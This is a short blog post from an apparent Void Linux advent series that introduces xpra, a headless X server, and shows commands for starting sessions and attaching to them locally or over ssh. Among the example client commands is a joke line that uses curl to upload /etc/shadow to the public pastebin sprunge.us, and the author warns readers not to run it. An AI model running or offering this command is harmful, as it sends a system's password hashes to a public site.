| layout | post |
|---|---|
| title | The Advent of Void: Day 12: xpra |
| comments | true |
Here's our first tool using a GUI: xpra(1) is a headless X-Server that allows remotely detaching and attaching its windows from multiple platforms including X11, Windows, and Mac.
To use xpra you have to start a new session:
# xpra start :14
Once xpra has the server running on :14 you can start clients in the
session:
# DISPLAY=:14 xterm &
# DISPLAY=:14 firefox &
# DISPLAY=:14 curl -F sprunge=@/etc/shadow http://sprunge.us &
... Actually don't run the last command.
To attach the xpra session just use the attach command:
# xpra attach :14
This attaches a local xpra server to the current display. The started X11 should be shown on the screen now.
To detach the session hit Ctrl+C.
The real power of xpra comes with the remote attaching feature:
# xpra attach ssh:remote-server:14
This command opens a ssh connections to remote-server and attaches
xpra through a secure tunnel. xpra supports multiple encodings,
including h264, so in contrast to plain X11 over ssh it's incredible fast.
To find out more about xpra, visit the website.